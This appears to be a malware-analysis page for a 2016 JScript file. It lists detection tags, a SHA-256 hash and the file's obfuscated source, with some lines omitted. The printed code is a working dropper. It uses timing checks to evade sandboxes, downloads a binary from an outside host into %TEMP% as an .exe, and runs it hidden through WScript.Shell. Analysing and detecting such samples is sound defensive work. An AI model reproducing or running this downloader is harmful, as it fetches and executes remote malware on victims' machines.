20160328_c212cd2e5682ccfa73adb1d2b0502161.js
HTTP dropper executes downloaded binary
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569e4bf2b4bb5cb36b2c270ff08a190d87d4519ff278b23f623f40eccd85cc1115
Evidence
1var Oixccrgp = false;
2var Nfmvavwzn = "CreateObject";
3var Ajrva = function Jyhbag() {return WScript[Nfmvavwzn]("WScript.Shell");}();
4var Ygkymoyjw = 123213;
5var Fmiduznxt = "MSXML2.XMLHTTP";
6var Iytyzuz = 2123213;
7var Farqrsbfi = 0;
8function Dxdhwa(Kqglhiykb){Ajrva["Run"](Kqglhiykb, Farqrsbfi, Farqrsbfi);};
9function Ykvuuhcpz(){return Fmiduznxt;};
10function Iyvcp(Nfutip, Sscgr){return Nfutip - Sscgr;};
11function Qlpaljjjiw(){return Nfmvavwzn;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Oixccrgp = true;
15 @end
16@*/
17var Hztvw = "";
18if (Oixccrgp)
19{
20function Hhrlt(){return 22;};
21var Edbegj = 0; var Butqut = 0;
22function Fwgxyop()
23{
24var Fsdgfsasz = new this["Date"]();
25var Lntdznpibc = Fsdgfsasz["getUTCMilliseconds"]();
26WScript["Sleep"](Hhrlt());
27var Fsdgfsasz = new this["Date"]();
28var Idfcxx = Fsdgfsasz["getUTCMilliseconds"]();
29WScript["Sleep"](Hhrlt());
30var Fsdgfsasz = new this["Date"]();
31var Zpxvc = Fsdgfsasz["getUTCMilliseconds"]();
32var Edbegj = "Zvrgrzbmvs";
33Edbegj = Iyvcp(Idfcxx, Lntdznpibc);
34var Butqut = "Lodwjtv";
35Butqut = Iyvcp(Zpxvc, Idfcxx);
36Hztvw = "open";
37return Iyvcp(Edbegj, Butqut);
38}
39var Znuxfxo = false;
40var Tclwvw = false;
41for (var Epgap = Farqrsbfi; Epgap < Hhrlt() * 1; Epgap++){if (Fwgxyop() != Farqrsbfi){
42Znuxfxo = tru …
49:2… f (Znuxfxo && Uclvgq() && Tclwvw){
50function Ncdfysit() {return Ajrva["ExpandEnvironmentStrings"]("%TEMP%/") + "LGvTAB4rBrKd.exe";};
51 Mgwsrrcvkk = Ykvuuhcpz();
52 Wmcahwvx = WScript[Nfmvavwzn](Mgwsrrcvkk);
53 var Lguxu = 1;
54 while (Lguxu){
55try {
56Wmcahwvx[Hztvw]("GET", "http://indochinaplazahanoi.info/fduew", false);
57Wmcahwvx["send"]();
58Uhfvz = "Sleep";
59do {WScript[Uhfvz](Hhrlt() * 11)} while (Wmcahwvx["readystate"] < 4 );
60Lguxu = Farqrsbfi;
61} catch(Pyqhfcb){Lguxu = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Rldgtbfxdv(Exntwz) {var Jxxzrsj = (1, 2, 3, 4, 5, Exntwz); return Jxxzrsj;};
64Qivwsfv = WScript[Qlpaljjjiw()]("ADODB.Stream");
65Mgwsrrcvkk = Qivwsfv;
66Mgwsrrcvkk[Hztvw]();
67Mgwsrrcvkk["type"] = Rldgtbfxdv(1);
68Mgwsrrcvkk["write"](Wmcahwvx["ResponseBody"]);
69Qivwsfv["position"] = Rldgtbfxdv(Farqrsbfi);
70Mgwsrrcvkk["SaveToFile"](Ncdfysit(), Rldgtbfxdv(2) );
71Qivwsfv["close"]();
72Dxdhwa(Ncdfysit());
73}
74}
75